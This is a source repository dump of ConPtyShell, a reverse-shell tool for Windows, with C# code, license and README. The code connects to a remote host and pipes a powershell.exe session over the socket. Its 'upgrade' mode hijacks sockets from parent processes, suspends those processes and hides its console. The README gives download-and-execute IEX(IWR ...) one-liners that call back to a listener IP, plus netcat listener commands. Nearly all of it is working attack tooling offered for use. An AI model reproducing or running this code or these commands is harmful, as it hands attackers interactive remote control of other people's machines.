| { 1207 | rows = (uint)rowsTemp; 1208 | cols = (uint)colsTemp; 1209 | } 1210 | } 1211 | catch 1212 | { 1213 | return; 1214 | } 1215 | } 1216 | 1217 | private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite) 1218 | { 1219 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 1220 | pSec.nLength = Marshal.SizeOf(pSec); 1221 | pSec.bInheritHandle = 1; 1222 | pSec.lpSecurityDescriptor = IntPtr.Zero; 1223 | if (!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) 1224 | throw new ConPtyShellException("Could not create the InputPipe"); 1225 | if (!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) 1226 | throw new ConPtyShellException("Could not create the OutputPipe"); 1227 | } 1228 | 1229 | private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr) 1230 | { 1231 | oldStdIn = GetStdHandle(STD_INPUT_HANDLE); 1232 | oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 1233 | oldStdErr = GetStdHandle(STD_ERROR_HANDLE); 1234 | IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); 1235 | IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); 1236 | SetStdHandle(STD_OUTPUT_HANDLE, hStdout); 1237 | SetStdHandle(STD_ERROR_HANDLE, hStdout); 1238 | SetStdHandle(STD_INPUT_HANDLE, hStdin); 1239 | } 1240 | 1241 | private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr) 1242 | { 1243 | SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); 1244 | SetStdHandle(STD_ERROR_HANDLE, oldStdErr); 1245 | SetStdHandle(STD_INPUT_HANDLE, oldStdIn); 1246 | } 1247 | 1248 | private static void EnableVirtualTerminalSequenceProcessing() 1249 | { 1250 | uint outConsoleMode = 0; 1251 | IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 1252 | if (!GetConsoleMode(hStdOut, out outConsoleMode)) 1253 | { 1254 | throw new ConPtyShellException("Could not get console mode"); 1255 | } 1256 | outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; 1257 | if (!SetConsoleMode(hStdOut, outConsoleMode)) 1258 | { 1259 | throw new ConPtyShellException("Could not enable virtual terminal processing"); 1260 | } 1261 | } 1262 | 1263 | private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols) 1264 | { 1265 | int result = -1; 1266 | EnableVirtualTerminalSequenceProcessing(); 1267 | COORD consoleCoord = new COORD(); 1268 | consoleCoord.X = (short)cols; 1269 | consoleCoord.Y = (short)rows; 1270 | result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); 1271 | return result; 1272 | } 1273 | 1274 | private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes) 1275 | { 1276 | IntPtr lpSize = IntPtr.Zero; 1277 | bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); 1278 | if (success || lpSize == IntPtr.Zero) 1279 | { 1280 | throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); 1281 | } 1282 | STARTUPINFOEX startupInfo = new STARTUPINFOEX(); 1283 | startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); 1284 | startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize); 1285 | success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); 1286 | if (!success) 1287 | { 1288 | throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); 1289 | } 1290 | success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); 1291 | if (!success) 1292 | { 1293 | throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); 1294 | } 1295 | return startupInfo; 1296 | } 1297 | 1298 | private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) 1299 | { 1300 | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); 1301 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 1302 | int securityAttributeSize = Marshal.SizeOf(pSec); 1303 | pSec.nLength = securityAttributeSize; 1304 | SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); 1305 | tSec.nLength = securityAttributeSize; 1306 | bool success = CreateProcessEx(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); 1307 | if (!success) 1308 | { 1309 | throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error()); 1310 | } 1311 | return pInfo; 1312 | } 1313 | 1314 | private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine) 1315 | { 1316 | STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); 1317 | PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine); 1318 | return processInfo; 1319 | } 1320 | 1321 | private static void ThreadReadPipeWriteSocketOverlapped(object threadParams) 1322 | { 1323 | object[] threadParameters = (object[])threadParams; 1324 | IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; 1325 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1326 | int bufferSize = 8192; 1327 | bool readSuccess = false; 1328 | Int32 bytesSent = 0; 1329 | uint dwBytesRead = 0; 1330 | do 1331 | { 1332 | byte[] bytesToWrite = new byte[bufferSize]; 1333 | readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); 1334 | bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); 1335 | } while (bytesSent > 0 && readSuccess); 1336 | // Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1337 | } 1338 | 1339 | private static void ThreadReadPipeWriteSocketNonOverlapped(object threadParams) 1340 | { 1341 | object[] threadParameters = (object[])threadParams; 1342 | IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; 1343 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1344 | int bufferSize = 8192; 1345 | bool readSuccess = false; 1346 | Int32 bytesSent = 0; 1347 | uint dwBytesRead = 0; 1348 | do 1349 | { 1350 | byte[] bytesToWrite = new byte[bufferSize]; 1351 | readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); 1352 | // Console.WriteLine("debug ThreadReadPipeWriteSocket ReadFile: dwBytesRead = " + dwBytesRead + " Marshal.GetLastWin32Error() " + Marshal.GetLastWin32Error()); 1353 | do 1354 | { 1355 | bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); 1356 | // Console.WriteLine("debug ThreadReadPipeWriteSocket send: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1357 | } while (WSAGetLastError() == WSAEWOULDBLOCK); 1358 | } while (bytesSent > 0 && readSuccess); 1359 | } 1360 | 1361 | private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket, bool overlappedSocket) 1362 | { 1363 | object[] threadParameters = new object[2]; 1364 | threadParameters[0] = OutputPipeRead; 1365 | threadParameters[1] = shellSocket; 1366 | Thread thThreadReadPipeWriteSocket; 1367 | if(overlappedSocket) 1368 | thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketOverlapped); 1369 | else 1370 | thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketNonOverlapped); 1371 | thThreadReadPipeWriteSocket.Start(threadParameters); 1372 | return thThreadReadPipeWriteSocket; 1373 | } 1374 | 1375 | private static void ThreadReadSocketWritePipeOverlapped(object threadParams) 1376 | { 1377 | object[] threadParameters = (object[])threadParams; 1378 | IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; 1379 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1380 | IntPtr hChildProcess = (IntPtr)threadParameters[2]; 1381 | int bufferSize = 8192; 1382 | bool writeSuccess = false; 1383 | Int32 nBytesReceived = 0; 1384 | uint bytesWritten = 0; 1385 | do 1386 | { 1387 | byte[] bytesReceived = new byte[bufferSize]; 1388 | nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); 1389 | writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); 1390 | } while (nBytesReceived > 0 && writeSuccess); 1391 | // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1392 | TerminateProcess(hChildProcess, 0); 1393 | } 1394 | 1395 | private static void ThreadReadSocketWritePipeNonOverlapped(object threadParams) 1396 | { 1397 | object[] threadParameters = (object[])threadParams; 1398 | IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; 1399 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1400 | IntPtr hChildProcess = (IntPtr)threadParameters[2]; 1401 | int bufferSize = 8192; 1402 | bool writeSuccess = false; 1403 | Int32 nBytesReceived = 0; 1404 | uint bytesWritten = 0; 1405 | bool socketBlockingOperation = false; 1406 | IntPtr wsaReadEvent = WSACreateEvent(); 1407 | // we expect the socket to be non-blocking at this point. we create an asynch event to be signaled when the recv operation is ready to get some data 1408 | WSAEventSelect(shellSocket, wsaReadEvent, FD_READ); 1409 | IntPtr[] wsaEventsArray = new IntPtr[] { wsaReadEvent }; 1410 | do 1411 | { 1412 | byte[] bytesReceived = new byte[bufferSize]; 1413 | WSAWaitForMultipleEvents(wsaEventsArray.Length, wsaEventsArray, true, 500, false); 1414 | nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); 1415 | // we still check WSAEWOULDBLOCK for a more robust implementation 1416 | if (WSAGetLastError() == WSAEWOULDBLOCK) 1417 | { 1418 | socketBlockingOperation = true; 1419 | continue; 1420 | } 1421 | WSAResetEvent(wsaReadEvent); 1422 | socketBlockingOperation = false; 1423 | // Console.WriteLine("debug: ThreadReadSocketWritePipe recv: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1424 | writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); 1425 | // Console.WriteLine("debug ThreadReadSocketWritePipe WriteFile: bytesWritten = " + bytesWritten + " Marshal.GetLastWin32Error() = " + Marshal.GetLastWin32Error()); 1426 | } while (socketBlockingOperation || (nBytesReceived > 0 && writeSuccess)); 1427 | WSACloseEvent(wsaReadEvent); 1428 | TerminateProcess(hChildProcess, 0); 1429 | } 1430 | 1431 | private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess, bool overlappedSocket) 1432 | { 1433 | object[] threadParameters = new object[3]; 1434 | threadParameters[0] = InputPipeWrite; 1435 | threadParameters[1] = shellSocket; 1436 | threadParameters[2] = hChildProcess; 1437 | Thread thReadSocketWritePipe; 1438 | if(overlappedSocket) 1439 | thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeOverlapped); 1440 | else 1441 | thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeNonOverlapped); 1442 | thReadSocketWritePipe.Start(threadParameters); 1443 | return thReadSocketWritePipe; 1444 | } 1445 | 1446 | public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) 1447 | { 1448 | IntPtr shellSocket = IntPtr.Zero; 1449 | IntPtr InputPipeRead = IntPtr.Zero; 1450 | IntPtr InputPipeWrite = IntPtr.Zero; 1451 | IntPtr OutputPipeRead = IntPtr.Zero; 1452 | IntPtr OutputPipeWrite = IntPtr.Zero; 1453 | IntPtr handlePseudoConsole = IntPtr.Zero; 1454 | IntPtr oldStdIn = IntPtr.Zero; 1455 | IntPtr oldStdOut = IntPtr.Zero; 1456 | IntPtr oldStdErr = IntPtr.Zero; 1457 | bool newConsoleAllocated = false; 1458 | bool parentSocketInherited = false; 1459 | bool grandParentSocketInherited = false; 1460 | bool conptyCompatible = false; 1461 | bool IsSocketOverlapped = true; 1462 | string output = ""; 1463 | Process currentProcess = null; 1464 | Process parentProcess = null; 1465 | Process grandParentProcess = null; 1466 | if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) 1467 | conptyCompatible = true; 1468 | PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); 1469 | CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); 1470 | // comment the below function to debug errors 1471 | InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); 1472 | // init wsastartup stuff for this thread 1473 | InitWSAThread(); 1474 | if (conptyCompatible) 1475 | { 1476 | Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); 1477 | if (upgradeShell) 1478 | { 1479 | List socketsHandles = new List(); 1480 | currentProcess = Process.GetCurrentProcess(); 1481 | parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); 1482 | if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); 1483 | // try to duplicate the socket for the current process 1484 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess, ref IsSocketOverlapped); 1485 | if (shellSocket == IntPtr.Zero && parentProcess != null) 1486 | { 1487 | // if no sockets are found in the current process we try to hijack our current parent process socket 1488 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess, ref IsSocketOverlapped); 1489 | if (shellSocket == IntPtr.Zero && grandParentProcess != null) 1490 | { 1491 | // damn, even the parent process has no usable sockets, let's try a last desperate attempt in the grandparent process 1492 | shellSocket = SocketHijacking.DuplicateTargetProcessSocket(grandParentProcess, ref IsSocketOverlapped); 1493 | if (shellSocket == IntPtr.Zero) 1494 | { 1495 | throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); 1496 | } 1497 | else 1498 | { 1499 | grandParentSocketInherited = true; 1500 | } 1501 | } 1502 | else 1503 | { 1504 | // gotcha a usable socket from the parent process, let's see if the grandParent also use the socket 1505 | parentSocketInherited = true; 1506 | if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); 1507 | } 1508 | } 1509 | else 1510 | { 1511 | // the current process got a usable socket, let's see if the parents use the socket 1512 | if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); 1513 | if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); 1514 | } 1515 | } 1516 | else 1517 | { 1518 | shellSocket = connectRemote(remoteIp, remotePort); 1519 | if (shellSocket == IntPtr.Zero) 1520 | { 1521 | output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); 1522 | return output; 1523 | } 1524 | TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); 1525 | } 1526 | if (GetConsoleWindow() == IntPtr.Zero) 1527 | { 1528 | AllocConsole(); 1529 | ShowWindow(GetConsoleWindow(), SW_HIDE); 1530 | newConsoleAllocated = true; 1531 | } 1532 | // debug code for checking handle duplication 1533 | // Console.WriteLine("debug: Creating pseudo console..."); 1534 | // Thread.Sleep(180000); 1535 | // return ""; 1536 | int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); 1537 | if (pseudoConsoleCreationResult != 0) 1538 | { 1539 | output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); 1540 | return output; 1541 | } 1542 | childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); 1543 | } 1544 | else 1545 | { 1546 | if (upgradeShell) 1547 | { 1548 | output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); 1549 | return output; 1550 | } 1551 | shellSocket = connectRemote(remoteIp, remotePort); 1552 | if (shellSocket == IntPtr.Zero) 1553 | { 1554 | output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); 1555 | return output; 1556 | } 1557 | Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); 1558 | STARTUPINFO sInfo = new STARTUPINFO(); 1559 | sInfo.cb = Marshal.SizeOf(sInfo); 1560 | sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; 1561 | sInfo.hStdInput = InputPipeRead; 1562 | sInfo.hStdOutput = OutputPipeWrite; 1563 | sInfo.hStdError = OutputPipeWrite; 1564 | CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); 1565 | } 1566 | // Note: We can close the handles to the PTY-end of the pipes here 1567 | // because the handles are dup'ed into the ConHost and will be released 1568 | // when the ConPTY is destroyed. 1569 | if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead); 1570 | if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite); 1571 | if (upgradeShell) { 1572 | // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process 1573 | if (parentSocketInherited) NtSuspendProcess(parentProcess.Handle); 1574 | if (grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); 1575 | if (!IsSocketOverlapped) SocketHijacking.SetSocketBlockingMode(shellSocket, 1); 1576 | } 1577 | //Threads have better performance than Tasks 1578 | Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket, IsSocketOverlapped); 1579 | Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess, IsSocketOverlapped); 1580 | // wait for the child process until exit 1581 | WaitForSingleObject(childProcessInfo.hProcess, INFINITE); 1582 | //cleanup everything 1583 | thThreadReadPipeWriteSocket.Abort(); 1584 | thReadSocketWritePipe.Abort(); 1585 | if (upgradeShell) 1586 | { 1587 | if (!IsSocketOverlapped) 1588 | { 1589 | // cancelling the event selection for the socket 1590 | WSAEventSelect(shellSocket, IntPtr.Zero, 0); 1591 | SocketHijacking.SetSocketBlockingMode(shellSocket, 0); 1592 | } 1593 | if (parentSocketInherited) NtResumeProcess(parentProcess.Handle); 1594 | if (grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); 1595 | } 1596 | closesocket(shellSocket); 1597 | RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); 1598 | if (newConsoleAllocated) 1599 | FreeConsole(); 1600 | CloseHandle(childProcessInfo.hThread); 1601 | CloseHandle(childProcessInfo.hProcess); 1602 | if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); 1603 | if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite); 1604 | if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead); 1605 | output += "ConPtyShell kindly exited.\r\n"; 1606 | return output; 1607 | } 1608 | } 1609 | 1610 | public static class ConPtyShellMainClass 1611 | { 1612 | private static string help = @""; 1613 | 1614 | private static bool HelpRequired(string param) 1615 | { 1616 | return param == "-h" || param == "--help" || param == "/?"; 1617 | } 1618 | 1619 | private static void CheckArgs(string[] arguments) 1620 | { 1621 | if (arguments.Length < 2) 1622 | throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); 1623 | } 1624 | 1625 | private static void DisplayHelp() 1626 | { 1627 | Console.Out.Write(help); 1628 | } 1629 | 1630 | private static string CheckRemoteIpArg(string ipString) 1631 | { 1632 | IPAddress address; 1633 | if (!IPAddress.TryParse(ipString, out address)) 1634 | throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString); 1635 | return ipString; 1636 | } 1637 | 1638 | private static int CheckInt(string arg) 1639 | { 1640 | int ret = 0; 1641 | if (!Int32.TryParse(arg, out ret)) 1642 | throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg); 1643 | return ret; 1644 | } 1645 | 1646 | private static uint ParseRows(string[] arguments) 1647 | { 1648 | uint rows = 24; 1649 | if (arguments.Length > 2) 1650 | rows = (uint)CheckInt(arguments[2]); 1651 | return rows; 1652 | } 1653 | 1654 | private static uint ParseCols(string[] arguments) 1655 | { 1656 | uint cols = 80; 1657 | if (arguments.Length > 3) 1658 | cols = (uint)CheckInt(arguments[3]); 1659 | return cols; 1660 | } 1661 | 1662 | private static string ParseCommandLine(string[] arguments) 1663 | { 1664 | string commandLine = "powershell.exe"; 1665 | if (arguments.Length > 4) 1666 | commandLine = arguments[4]; 1667 | return commandLine; 1668 | } 1669 | 1670 | public static string ConPtyShellMain(string[] args) 1671 | { 1672 | string output = ""; 1673 | if (args.Length == 1 && HelpRequired(args[0])) 1674 | { 1675 | DisplayHelp(); 1676 | } 1677 | else 1678 | { 1679 | string remoteIp = ""; 1680 | int remotePort = 0; 1681 | bool upgradeShell = false; 1682 | try 1683 | { 1684 | CheckArgs(args); 1685 | if (args[0].Contains("upgrade")) 1686 | upgradeShell = true; 1687 | else 1688 | { 1689 | remoteIp = CheckRemoteIpArg(args[0]); 1690 | remotePort = CheckInt(args[1]); 1691 | } 1692 | uint rows = ParseRows(args); 1693 | uint cols = ParseCols(args); 1694 | string commandLine = ParseCommandLine(args); 1695 | output = ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); 1696 | } 1697 | catch (Exception e) 1698 | { 1699 | Console.WriteLine("\n" + e.ToString() + "\n"); 1700 | } 1701 | } 1702 | return output; 1703 | } 1704 | } 1705 | 1706 | 1707 | class MainClass 1708 | { 1709 | static void Main(string[] args) 1710 | { 1711 | Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); 1712 | } 1713 | } 1714 | 1715 | "@; -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 antonioCoco 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ConPtyShell 2 | ConPtyShell is a Fully Interactive Reverse Shell for Windows systems. 3 | 4 | The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. 5 | ConPtyShell uses this feature to literally transform your bash in a remote powershell. 6 | 7 |

Briefly, it creates a Pseudo Console and attaches 2 pipes.
8 | Then it creates the shell process (default powershell.exe) attaching the Pseudo Console with redirected input/output.
9 | Then starts 2 Threads for Async I/O:
10 | - one thread for reading from the socket and writing to Pseudo Console input pipe;
11 | - the second thread for reading from the Pseudo Console output pipe and writing to the socket.

12 | 13 | ConPtyShell has also the magic flag "Upgrade" that transform your current shell in a fully interactive one, use it if you don't want to use a new connection and want to hijack your current shell socket :) 14 | 15 | If you want to know further information regarding ConPty you can find a great article [1] in the references section. 16 | 17 | **NOTE: ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).** 18 | 19 | **NOTE2: If the ConPTY is not available on the target system you will get a normal netcat-like interactive shell.** 20 | 21 | ## Requirements 22 |

Client Side: Windows version >= 10 / 2019 1809 (build >= 10.0.17763)

23 |

Server Side: any tcp listener, i.e. netcat

24 | 25 | ## Usage 26 | 27 | It's important to have the same rows and cols size between your terminal and the remote terminal if you want to have an aligned output on the shell. 28 | 29 | #### Method 1 30 | In this method the terminal size is set without you pass the rows and cols parameters to Invoke-ConPtyShell function: 31 | 32 | ##### Server Side: 33 | ``` 34 | stty raw -echo; (stty size; cat) | nc -lvnp 3001 35 | ``` 36 | 37 | ##### Client Side: 38 | 39 | ``` 40 | IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 41 | ``` 42 | 43 | #### Method 2 44 | If you prefer to have more freedom on the tcp listener and your terminal you can proceed with a "Manual" way to get the reverse shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function: 45 | 46 | ##### Server Side: 47 | ``` 48 | stty size 49 | nc -lvnp 3001 50 | Wait For connection 51 | ctrl+z 52 | stty raw -echo; fg[ENTER] 53 | ``` 54 | ##### Client Side: 55 | Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols 56 | ``` 57 | IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80 58 | ``` 59 | 60 | #### Method 3 - Upgrade 61 | You can also upgrade your current shell to a fully interecative shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function: 62 | 63 | ##### Server Side: 64 | ``` 65 | stty size 66 | nc -lvnp 3001 67 | Wait For connection 68 | ctrl+z 69 | stty raw -echo; fg[ENTER] 70 | ``` 71 | ##### Client Side: 72 | Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols 73 | 74 | ``` 75 | IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80 76 | ``` 77 | 78 | ## Change Console Size 79 | 80 | In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code: 81 | 82 | ``` 83 | $width=80 84 | $height=24 85 | $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) 86 | $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) 87 | ``` 88 | 89 | ## Demo 90 | Below you can watch 2 demos. The first gif using the **Method 1** with the compiled assemlby in exe format, the second gif is showing the **Method 3** by upgrading your current shell with the ps1 script: 91 | 92 | #### Method 1 93 | 94 | 95 | 96 | #### Method 3 - Upgrade demo 97 | 98 | 99 | 100 | ## References 101 | 102 | 1. https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/ 103 | 2. https://github.com/microsoft/terminal 104 | 3. https://www.usenix.org/conference/usenixsecurity20/presentation/niakanlahiji 105 | 4. https://adepts.of0x.cc/shadowmove-hijack-socket/ 106 | 107 | ## Credits 108 | 109 | - LupMan 110 | -------------------------------------------------------------------------------- /ResizeConsole.ps1: -------------------------------------------------------------------------------- 1 | $width=80 2 | $height=24 3 | $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) 4 | $host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) -------------------------------------------------------------------------------- /compile_command.txt: -------------------------------------------------------------------------------- 1 | .NET 4.0 2 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs 3 | 4 | .NET 2.0 5 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_dotnet2.exe ConPtyShell.cs -------------------------------------------------------------------------------- /demo_1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/antonioCoco/ConPtyShell/f5c00d4d37b656092d20447b127eb0774efca96a/demo_1.gif -------------------------------------------------------------------------------- /demo_2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/antonioCoco/ConPtyShell/f5c00d4d37b656092d20447b127eb0774efca96a/demo_2.gif --------------------------------------------------------------------------------